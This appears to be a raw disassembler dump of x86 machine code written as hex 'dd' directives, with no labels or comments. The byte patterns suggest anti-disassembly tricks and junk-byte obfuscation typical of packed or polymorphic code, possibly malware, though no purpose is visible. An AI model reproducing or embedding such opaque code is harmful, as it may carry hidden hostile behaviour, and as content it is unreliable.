		dd 0BFC3BAD0h, 85890B21h, 61507D5h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 40C35040h, 0C585C619h, 46061509h
		dd 22E59D89h, 14680615h, 0E9BADE06h, 9,	9D84F6E3h, 6D96B73Ah
		dd 85B5FFB2h, 66061516h, 1EBEF181h, 26F98D8Bh, 858D0615h
		dd 6153B38h, 0ECC9E981h, 0D0FF4520h, 85897FB6h,	6152629h
		dd 0C585C6F5h, 47061509h, 6820Fh, 0E1810000h, 718A0FB5h
		dd 0FB5E268h, 18C0F8Ah,	0F5000000h, 1685B5FFh, 0C88B0615h
		dd 3B38858Dh, 0BA660615h, 0D0FFA284h, 270DBD29h, 85890615h
		dd 6150E1Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	75C35040h, 19FC3456h, 0DDA27B97h, 0C585C611h, 47061509h
		dd 0E6CA8166h, 0B5F368E8h, 852983D0h, 6151575h,	1685B5FFh
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 9C9901C3h, 6B259D51h, 38858D26h, 6006153Bh
		dd 5A431DBBh, 91BF661Fh, 0D0FF6191h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 8FC35040h, 0C6B6BA66h, 0F2DA8052h
		dd 0B185895Fh, 6A061504h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0D80FC350h,	7D6EA7ECh
		dd 80F33C60h, 85C6E2CAh, 61509C5h, 56006A77h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 54D3EBFAh
		dd 68F9B00Fh, 0F397A8A3h, 11C28166h, 89B5FF1Fh,	0E8061507h
		dd 0Bh,	0D2B3D5C9h, 0C494F932h,	66A780A2h, 5AD0B4BAh, 5890Fh
		dd 81660000h, 8D0F6DDFh, 153B3885h, 45858906h, 0FF061511h
		dd 50006AD0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0CAB93B8Ch, 2F298589h, 6A0615h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0CCB58C3h, 5E78AEE3h, 0E2816606h, 85C647FBh,	61509C5h
		dd 0E58D8B47h, 68061523h, 8728FAF6h, 0FFD38B66h, 151685B5h
		dd 0EDB53106h, 8D06152Fh, 153B3885h, 45958B06h,	0FF06150Ah
		dd 0EF8166D0h, 85894537h, 61516DDh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 8C35646h, 8438843h,	0D18B5EB0h
		dd 2925958Bh, 85C60615h, 61509C5h, 6EFC6843h, 12E9BC8Eh
		dd 3E000000h, 0C521D995h, 0B9001DE5h, 0D5A73991h, 0D12D5E41h
		dd 85B5FFEEh, 0E8061516h, 0Dh, 0AC05D86Eh, 0C4B4955Bh
		dd 0A51B3C2h, 0E2816605h, 8D5F69EEh, 153B3885h,	6AD0FF06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0A676C351h, 9DCEDA30h, 89F5F88Bh,	1510F985h
		dd 10E906h, 30AE0000h, 99A681D2h, 2A10C2FBh, 0AC91C282h
		dd 0BF0F63C7h, 0C585C6CFh, 45061509h, 1190B966h, 72696968h
		dd 0C981668Eh, 99B968BBh, 0FF17F8DEh, 151685B5h, 2DB52906h
		dd 8D061529h, 153B3885h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 45C5C18Bh
		dd 29B9665Fh, 0FD0FF70h, 8589D2BFh, 6152669h, 7BD18166h
		dd 0C585C672h, 44061509h, 0FDF18166h, 6468FC16h, 6AB8F2ECh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0CA40C355h, 6EB9F94h, 0E7B96651h,	85B5FFD8h
		dd 66061516h, 8166FA8Bh, 8D8CABF2h, 153B3885h, 0FFCF8A06h
		dd 1BD31D0h, 89061521h,	15097D85h, 8FBA6606h, 0C585C655h
		dd 43061509h, 10CF8166h, 0CD958B0Dh, 68061519h,	0C0764AA7h
		dd 8F18D8Bh, 0B5FF0615h, 6151685h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0C6C35545h,	44AFFD0Dh, 5BD092Dh
		dd 0F061534h, 858DFABFh, 6153B38h, 6D88E281h, 0D0FF5534h
		dd 1A058D31h, 85890615h, 6150DCDh, 7019D89h, 0BD800615h
		dd 617FEA5h, 0E4840F00h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0A91FC350h
		dd 8B5B589h, 858D0615h,	617FE87h, 0D958D89h, 0AAB20615h
		dd 9BA6650h, 6A016A67h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0ED7EC353h,	6AD3B70Fh
		dd 0EA816600h, 6AFA9Fh,	1CB19D89h, 95FF0615h, 615339Dh
		dd 0BD8589F8h, 89061503h, 150CC1B5h, 6AFF6A06h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0AD2FC353h, 9CD5B88Ah, 0A05CEB0Dh, 1DE5958Bh, 0B5FF0615h
		dd 61503BDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	6EC35141h, 0B2CFC069h, 0CF7F2C02h, 8D8B57FBh, 61528B1h
		dd 0FFCE8B59h, 1508BD95h, 8BEC8A06h, 0B5950BC0h, 83061512h
		dd 1508F5BDh, 9750006h,	3ADBD83h, 74000615h, 8B535019h
		dd 7D1B8C0h, 85890000h,	6151385h, 0AA9E9D8Dh, 0D3FF0617h
		dd 0BD83585Bh, 61503ADh, 50177400h, 7D1B853h, 85890000h
		dd 6151385h, 0A78D9D8Dh, 0D3FF0617h, 14E8585Bh,	0DB000000h
		dd 585FBA6Fh, 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh, 890547BCh
		dd 1522D985h, 6A5F06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0F2B52CC3h, 6AC08Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 387441C3h
		dd 0C585C65Dh, 47061509h, 81B52960h, 6106150Dh,	0C8F7C168h
		dd 52006A93h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0F9DA0D25h, 0FB8BEFACh, 1685B5FFh, 858D0615h
		dd 6153B38h, 5FE3B556h,	8B50D0FFh, 0FFB70FCBh, 2C8858Dh
		dd 85090618h, 61503B9h,	9400C7h, 85290000h, 6151041h, 0ABB9C281h
		dd 895820B3h, 150A6D8Dh, 0A18D8B06h, 8D06150Bh,	1802C8B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0F224B2D1h, 8B667AA1h, 0D19D01CAh, 60061506h
		dd 2489EEBEh, 3C38178h,	611BAEDCh, 6AD0FF56h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 5920C356h, 0B70FAA14h, 9D8956FEh, 6150BF1h, 0C8858D5Ah
		dd 6A061802h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 7D39C351h, 0BCCE8B11h,	95897790h
		dd 6152D81h, 6047883h, 16850Fh,	0D68B0000h, 35C85C7h, 10618h
		dd 950B0000h, 6152A25h,	1329BF66h, 0A19BD83h, 0F000615h
		dd 5685h, 358D0900h, 0E8061501h, 0Ah, 585E3289h, 0B16EF3E2h
		dd 9529B7D4h, 6153425h,	5CBD8359h, 61803h, 2D850Fh, 58B90000h
		dd 0B62E770Fh, 0F5BD83B3h, 61527h, 19840Fh, 952B0000h
		dd 6151821h, 265DBD0Bh,	85C70615h, 61511C1h, 0
		dd 66F8BF0Fh, 0DA80DB8Ch, 4C3F61Bh, 478840Fh, 13E80000h
		dd 0C4000000h, 764E929Ch, 0FF4786ABh, 0F2692041h, 50F47834h
		dd 8D0F15F7h, 2, 895AD38Bh, 150141BDh, 0B585C706h, 6152Dh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 6E96C355h, 0BA91287Eh,	0B2BD8061h
		dd 617FEh, 3850Fh, 0B70F0000h, 0C585C6CBh, 47061509h, 8668F88Bh
		dd 66E3E45Bh, 3D23D281h, 0DE5BD8Bh, 0B5FF0615h,	6151685h
		dd 0A8BCBA66h, 3B38858Dh, 0B5890615h, 6151371h,	0BD8BD0FFh
		dd 6152965h, 10468h, 1DBD8B00h,	8D06151Ah, 152B499Dh, 0B1952B06h
		dd 53061533h, 38A0Fh, 0BF0F0000h, 0FD0FFC8h, 68Dh, 0C1B58900h
		dd 89061508h, 152B3D95h, 49858D06h, 6606152Bh, 0AFF5D181h
		dd 13E850h, 3E070000h, 5539FFAFh, 3542F4D2h, 0B85F5A70h
		dd 5132FAD0h, 458D8B5Bh, 5A061534h, 0FE64858Dh,	0EE80617h
		dd 0C1000000h, 679E226Bh, 3A0CD4D8h, 0F2ABE2E0h, 9D29508Eh
		dd 6152325h, 66505F59h,	858DCF8Bh, 617F537h, 50D18B66h
		dd 1019589h, 95FF0615h,	6152F29h, 13810Fh, 0EE90000h, 0E4000000h
		dd 633CF005h, 6A1DF768h, 0B3DE9184h, 0CC483ADh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DAC35242h, 0DC42058Eh
		dd 0F22429Bh, 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h
		dd 617F537h, 0F995FF50h, 89061510h, 17FE4785h, 0C585C606h
		dd 47061509h, 0B15E8768h, 85B5FFC7h, 8D061516h,	153B3885h
		dd 6AD0FF06h, 47B5FF00h, 0FF0617FEh, 6850FD0h, 81000000h
		dd 0A7E027D7h, 57006A2Ch, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 83433136h, 66D6BD6Dh
		dd 2DC1E181h, 37D03Dh, 3E830F00h, 66000000h, 0B5FFD18Bh
		dd 617FE47h, 11A1BD8Bh,	95FF0615h, 6150DCDh, 8850Fh, 8B510000h
		dd 15051D8Dh, 0B3E95F06h, 0E8000000h, 0Eh, 1DA51D68h, 0DF8A140h
		dd 8ADB7C6Fh, 0EA8A9206h, 47B5FF5Ah, 500617FEh,	8398D89h
		dd 0FF5F0615h, 150DCD95h, 25958906h, 6A061523h,	418D8B00h
		dd 6A061506h, 0BDBD8B00h, 6A06152Dh, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0E9736FAh
		dd 8148DB8Ah, 0A8D9BCF7h, 0B9006A4Eh, 1CD3F0ADh, 8B0F006Ah
		dd 6, 75D9D89h,	6A0615h, 8DD6BF0Fh, 17FE4B85h, 50FA8B06h
		dd 33999D89h, 95FF0615h, 61510F9h, 8BB1EA80h, 0FFF883D6h
		dd 117850Fh, 840F0000h,	6, 0A204C281h, 858D7D56h, 617B518h
		dd 0C820Fh, 8E0F0000h, 6, 0A159501h, 0D0FF0615h, 6AD78Bh
		dd 58A0Fh, 0A3B90000h, 6A3A8B82h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 520CEC8Fh
		dd 2CC65677h, 0ABD28166h, 3DDF818Ah, 6A22A8C3h,	8B006A00h
		dd 151E918Dh, 8B006A06h, 6AD78BCAh, 0DD9D8900h,	8D061506h
		dd 17FE4B85h, 9D015006h, 6150315h, 10F995FFh, 0E9600615h
		dd 0Ch,	0A3B6F159h, 0DAD80D83h,	0FE940BE6h, 1675BD8Bh
		dd 83610615h, 850FFFF8h, 65h, 8D1EC580h, 17F853B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8DEF63D1h, 17A3E185h, 0FE806h, 0C85D0000h, 0D6FE16C4h
		dd 14CAC07Eh, 0BEB81DCDh, 0D7B96629h, 0BD8B5A06h, 6150479h
		dd 0B529D0FFh, 6152665h, 0F56006Ah, 84h, 95FF5A00h, 6152669h
		dd 478589F9h, 0E90617FEh, 6, 3FA4349Eh,	6AF9FA9Eh, 3F858D00h
		dd 0F0617FEh, 586h, 0E7816600h,	66506FD7h, 6A8F68B9h, 0D9BD8B04h
		dd 8D061507h, 150B8D85h, 3D953106h, 0F06152Ah, 0B8Bh, 85896000h
		dd 61511A1h, 61F3BF0Fh,	8D0B5150h, 6151D9Dh, 52006A59h
		dd 6A5FD78Bh, 0D7B70F00h, 0C980016Ah, 0DD8501E7h, 0FF061501h
		dd 17FE47B5h, 0A8D0F06h, 60000000h, 0E40695BEh,	0F38B661Eh
		dd 0F8B70F61h, 97D95FFh, 0D78B0615h, 1BE2E9F5h,	0C08B0000h
		dd 8F5BD83h, 75000615h,	0ADBD8309h, 61503h, 53501974h
		dd 0D2B8C08Bh, 89000007h, 15138585h, 9E9D8D06h,	0FF0617AAh
		dd 83585BD3h, 1503ADBDh, 17740006h, 0D2B85350h,	89000007h
		dd 15138585h, 8D9D8D06h, 0FF0617A7h, 0F585BD3h,	68Eh, 0CD958B00h
		dd 0E9061527h, 6, 3ABEAB4Eh, 890FA84Ah,	2, 12E92AB2h, 0AF000000h
		dd 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 0CA8D2A7Dh, 89C08BBFh
		dd 15189DB5h, 0B585C706h, 106152Dh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 6A5EC355h, 8169C1C7h, 81CB9293h, 0CFE551EFh,	49BD330Bh
		dd 68061503h, 0CEE4E7B8h, 1789B5FFh, 858D0615h,	6153B38h
		dd 8589D0FFh, 615221Dh,	0A3858Dh, 8D500618h, 18036085h
		dd 1685006h, 0FF800000h, 15221D95h, 75C00B06h, 4185C70Ah
		dd 106152Ah, 68000000h,	0C005DBD4h, 1789B5FFh, 858D0615h
		dd 6153B38h, 8589D0FFh,	6152391h, 0F2F0858Dh, 0FF500617h
		dd 151685B5h, 1D95FF06h, 0B06150Eh, 8B0B74C0h, 0A3858DD8h
		dd 50061802h, 858DD3FFh, 61802A3h, 9388366h, 85C70A75h
		dd 615295Dh, 1,	16DD95FFh, 0FF250615h, 83000000h, 0A7305F8h
		dd 216985C7h, 10615h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0EE061EC3h, 0EB0F955Ch
		dd 0E2F680D6h, 4AD9523h, 93B20615h, 0FEB2BD80h,	0F000617h
		dd 4E84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0B78FFA97h, 0F5D91D5h, 1689h, 11E900h
		dd 44820000h, 0DFFF6556h, 0D6E94A85h, 5AC12607h, 83240A96h
		dd 18035CBDh, 840F0006h, 0Dh, 0E9FE8B66h, 19E4h, 0CFB70F51h
		dd 5DBD8359h, 61529h, 0DF850Fh,	85010000h, 615002Dh, 0FE7C858Dh
		dd 0C9810617h, 1DFCA11Ah, 0CBBF0F50h, 8B66016Ah, 0E8006AFEh
		dd 14h,	96DDD959h, 0F41E8FEBh, 62B2C6Eh, 254E891h, 633D326Eh
		dd 19850Fh, 14E90000h, 57000000h, 90F3CC98h, 0C100D504h
		dd 0D51E7EECh, 5649D822h, 5935A8D0h, 95FF006Ah,	615339Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DEC35141h
		dd 897257B9h, 17FEA685h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 1F06061h, 0C5A5550Ah
		dd 0FF6A4BA1h, 33B59D89h, 0B5FF0615h, 617FEA6h,	95FF9FB5h
		dd 61508BDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0EC35242h, 51BF66B4h, 0B7858D39h, 600617F2h, 61FFB70Fh
		dd 8E85250h, 1B000000h,	24F01DD5h, 0FB65FB8h, 86h, 0FF5A5F00h
		dd 1507D595h, 0A1CBA06h, 85892F26h, 617F341h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 98C35242h, 0C06D0CFDh
		dd 0BF0F25A3h, 0C4858DCEh, 0E90617F2h, 0Ah, 0FA54C0A8h
		dd 0D52B31AEh, 895088ADh, 150949BDh, 41B5FF06h,	660617F3h
		dd 0B1D3C781h, 0E1D95FFh, 6A0615h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 9B6B68C3h, 0A70DA023h, 89CD3F69h, 15185D85h,	32858D06h
		dd 0F0617F3h, 28Eh, 50CF8B00h, 26158D89h, 0B5FF0615h, 617F341h
		dd 619589h, 95FF0615h, 6150E1Dh, 8589EE8Ah, 617F355h, 13E9h
		dd 774C8600h, 0D8CC0F20h, 24C0D843h, 8D815B08h,	720B54AFh
		dd 0F311858Dh, 958B0617h, 61511ADh, 60B96660h, 0B506125h
		dd 15098995h, 41B5FF06h, 0F0617F3h, 0B83h, 5820F00h, 66000000h
		dd 1D52F281h, 0E1D95FFh, 6A0615h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 962984C3h, 0FF9045Fh
		dd 8589F9B7h, 617F34Dh,	0F304858Dh, 90B20617h, 8E950h
		dd 84D10000h, 1901D176h, 0B5FF03A2h, 617F341h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2BC35141h, 9D18D89h
		dd 95FF0615h, 6150E1Dh,	11658D33h, 85890615h, 617F351h
		dd 2B058D8Bh, 858D0615h, 617F31Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 9EC35747h, 5EDD9155h, 50FAB70Fh
		dd 0FFFFED80h, 17F341B5h, 0F1858906h, 0FF06152Ch, 150E1D95h
		dd 0F88B6606h, 5CD8589h, 6A0615h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 5A596EC3h, 2830FFEh
		dd 0B2000000h, 75950367h, 8D06151Dh, 17F2D385h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0ED08F60Fh, 0FDBD695h, 683h,	2DBD8900h, 8106152Fh, 910308DAh
		dd 8D31507Eh, 6150385h,	0F341B5FFh, 9DB90617h, 0FF3F4E76h
		dd 150E1D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 68BF5759h, 890F05B0h, 17F34585h
		dd 8B665106h, 858D59CAh, 617F2E2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0E6C35343h,	0E0171F47h, 0DAD586D9h
		dd 226D8D89h, 6A500615h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 4C7EC352h, 53F20ECFh
		dd 0F7127BCh, 0B5FFCEBFh, 617F341h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0D8C35040h,	69958BD6h, 89061527h
		dd 1512B5BDh, 1D95FF06h, 0B606150Eh, 498589EEh,	0F80617F3h
		dd 10468h, 70E78100h, 8D3DE800h, 17F3D985h, 8D8B5106h
		dd 61533D1h, 95295059h,	6151575h, 0F4DD858Dh, 6A0617h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0B172FDC3h, 56F0FF30h, 84B0EA81h, 81666856h,	5070BEDFh
		dd 960CBA66h, 4B195FFh,	8D030615h, 6151CDDh, 0FC085F5h
		dd 685h, 1D8D8B00h, 80061530h, 17FEB2BDh, 850F0006h, 44h
		dd 11E9h, 2D941000h, 0D93F155Fh, 9345C10Bh, 418779D6h
		dd 21E95418h, 6A000015h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 66C7C352h, 0D823D3E8h
		dd 9529A8A0h, 61521E1h,	295DBD83h, 0F000615h, 2F85h, 9E900h
		dd 0DFD30000h, 4DA9BA09h, 83E294AFh, 18035CBDh,	840F0006h
		dd 7Ch,	0BE8h, 0C6AB3600h, 296CECEFh, 6487E6AEh, 5A8FF680h
		dd 0F376858Dh, 0E9520617h, 10h,	4ACC41F3h, 0D33E63AAh
		dd 0C4E4F2B9h, 0B66D5272h, 149AE95Ah, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E9E06FC3h, 36h, 19F18531h, 12E80615h, 0E8000000h, 1B3EDB50h
		dd 615BA846h, 0BBF2A698h, 400D5BC4h, 75BD2931h,	5F061511h
		dd 0F361858Dh, 8F0F0617h, 6, 1199958Bh,	0E9500615h, 7
		dd 9AA9619Ah, 8DAB2206h, 17F3D985h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 43101100h
		dd 0B26CDFD0h, 8D890731h, 6152AE5h, 0BD83F950h,	615295Dh
		dd 14840F00h, 89000000h, 151A05BDh, 0FF858D06h,	0FC0617F4h
		dd 11E9h, 8DEE8A00h, 17F4E885h,	3800F06h, 80000000h, 8050EFF1h
		dd 858DD5D2h, 617F537h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 87C35343h, 8945CA13h,	152B259Dh, 15830F06h
		dd 0E9000000h, 10h, 2128AE13h, 5A803F06h, 0F050178Fh, 0FF221291h
		dd 5950150h, 0FF061510h, 152F2995h, 758D8B06h, 83061517h
		dd 958B10C4h, 615073Dh,	12E9h, 0B1329A00h, 0AC4E48F0h
		dd 0CD2F135Ah, 11AC9B96h, 8BD8CB24h, 5958BC0h, 8306150Ah
		dd 1508F5BDh, 9750006h,	3ADBD83h, 74000615h, 8B535019h
		dd 7D3B8C0h, 85890000h,	6151385h, 0AA9E9D8Dh, 0D3FF0617h
		dd 0BD83585Bh, 61503ADh, 50177400h, 7D3B853h, 85890000h
		dd 6151385h, 0A78D9D8Dh, 0D3FF0617h, 8053585Bh,	805FFACAh
		dd 0C08BACC5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0D4C35242h, 0C37F10FDh,	8FC3526h, 0F7816623h, 0BD81C5FFh
		dd 617F361h, 6165726Fh,	0A1840Fh, 858D0000h, 617F3D9h
		dd 16858D50h, 500617F5h, 0F537858Dh, 0FF500617h, 152F2995h
		dd 0CC48306h, 9C585C6h,	68440615h, 96A3184Fh, 1685B5FFh
		dd 858D0615h, 6153B38h,	0D88BD0FFh, 0F537858Dh,	0FF500617h
		dd 61858DD3h, 500617F3h, 0F3D9858Dh, 83500617h,	15295DBDh
		dd 8740006h, 0F4FF858Dh, 6EB0617h, 0F4E8858Dh, 8D500617h
		dd 17F53785h, 95FF5006h, 6152F29h, 0B910C483h, 53881ECh
		dd 0DF99529h, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0FFF815C3h, 1516DD95h, 11E906h
		dd 663E0000h, 76B48FE1h, 0EEF36281h, 63E2A867h,	66E37676h
		dd 0AE50EF81h, 0FF25h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 658D89C3h, 8306152Fh
		dd 830F05F8h, 50h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0C5C35040h, 0A79F0013h, 6985C72Bh, 1061521h
		dd 8B000000h, 15178DBDh, 95858D06h, 8B0617F3h, 150655BDh
		dd 8BE906h, 0CEB60000h,	6870Fh,	0BD8B0000h, 61524B1h, 295DBD83h
		dd 0F000615h, 5E84h, 8F18100h, 8D42490Ch, 17F3C085h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 10C602BCh, 3B9CB9AEh, 3AE92F1Ah, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 75EC356h, 1F0C877Eh,	9614E582h, 8DD08B66h, 17F3A285h
		dd 6870F06h, 23000000h,	150BB995h, 0D5858906h, 6A0617F3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0A858C356h, 0C1B9D08Dh, 0D78166EBh, 0BD83D61Fh
		dd 615295Dh, 15850F00h,	0B6000000h, 5CBD83A1h, 61803h
		dd 11840Fh, 950B0000h, 6150831h, 10ABE9h, 1DBD8900h, 0E9061515h
		dd 4EEh, 8BCEB70Fh, 81FC60C0h, 0CA7C46DEh, 0BD836157h
		dd 61508F5h, 83097500h,	1503ADBDh, 19740006h, 0C08B5350h
		dd 7D4B8h, 85858900h, 8D061513h, 17AA9E9Dh
		dd 5BD3FF06h, 0ADBD8358h, 61503h, 53501774h, 7D4B8h, 85858900h
		dd 8D061513h, 17A78D9Dh, 5BD3FF06h, 0ADF28058h,	0CDB58B60h
		dd 0B061520h, 1520D5B5h, 0C08B6106h, 8880Fh, 8B510000h
		dd 1517FDBDh, 3F685906h, 81000F00h, 0E77297CAh,	6A006A6Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 37BC357h,	6AF5B4h, 2CC18166h, 0CD9D8994h
		dd 0FF061516h, 15185D95h, 958B6006h, 6150465h, 28D0Fh
		dd 56B70000h, 0FC08561h, 1485h,	0FE900h, 96C10000h, 0F6E35487h
		dd 0B73A9D84h, 0E8B26D96h, 5985897Fh, 6A0617F3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0CFEBC351h, 38E895B7h, 6AF98BF1h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 9E3468EAh
		dd 0B1885141h, 818D892Eh, 89061509h, 1511519Dh,	6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0D5D5C353h, 689F9BB7h, 0C9818B93h, 4BAB52C9h
		dd 1459958Bh, 6A0615h, 6AFE8Bh,	910056BAh, 66006A23h, 858DFB8Bh
		dd 617F537h, 71B860FCh,	60716F68h, 0E9F6BF0Fh, 7, 0A7F4DD17h
		dd 6127C866h, 958B5061h, 6150981h, 0BF0F016Ah, 0E8016ACAh
		dd 0Ch,	1CD5383Ch, 0AA389BC2h, 8D4A41C9h, 12E9h, 0AAAF4300h
		dd 0A125B356h, 26A9252Bh, 0D40C8E43h, 5F54D4A0h, 6A016Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0A8AE93C3h, 68D38B73h, 0F01FFh, 13E9h, 0B5EC8600h, 0CF5B1ECCh
		dd 42F5EA27h, 0D173F1ECh, 0F78B0874h, 1A2EBA66h, 295DBD83h
		dd 0F000615h, 6684h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 303BE573h, 6D7D9D99h
		dd 858DC707h, 617F3B6h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 68C35343h, 0F6DB58Fh,	8B158CB3h, 19E9CAh
		dd 0CE90000h, 0C2000000h, 0E242DBB4h, 0B3A438C5h, 8D6F49F3h
		dd 17F38C85h, 50D68B06h, 2F61B589h, 0E6800615h,	0E3BF5053h
		dd 0FF6C5FCDh, 17F359B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 8DD4974Ch
		dd 25958944h, 0FF061511h, 17F34595h, 0BF60F806h, 162F773Dh
		dd 3DA8B966h, 0FC08561h, 0E85h,	0B7C98000h, 5FE9h, 45BD8900h
		dd 8906152Bh, 17F35D85h, 2D9D8906h, 0FF061502h,	17F35DB5h
		dd 7EF28106h, 0FF4EAEDDh, 1505CD95h, 8D8B5006h,	6150245h
		dd 0D5BD8B59h, 8506151Dh, 25850FC0h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 867AC356h, 95237A30h, 6152C51h, 810F106Ah, 6, 16F59D89h
		dd 0BD830615h, 615295Dh, 36840F00h, 0F5000000h,	858DCE8Bh
		dd 617F3B6h, 26818D0Bh,	2EE90615h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 89FAC350h, 15172595h, 8C858D06h, 810617F3h, 3D045FD1h
		dd 0E9525066h, 0Ch, 7898F354h, 9539518h, 1A097F96h, 59B5FF5Fh
		dd 0F0617F3h, 386h, 88D28000h, 0BE6AC981h, 95FF0F87h, 617F351h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0ACC35343h
		dd 0B1958B60h, 8B061533h, 152A9D95h, 0C0856106h, 7850Fh
		dd 0B5310000h, 61520CDh, 5D8589FCh, 810617F3h, 3131E4F1h
		dd 6A006A33h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 266BC357h, 9A4D026Dh, 8B607722h
		dd 15239985h, 61605306h, 9D896159h, 61525B9h, 3419D09h
		dd 6A0615h, 3445958Bh, 0B5FF0615h, 617F35Dh, 831B589h
		dd 95FF0615h, 617F349h,	156D8589h, 0C0850615h, 3B850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
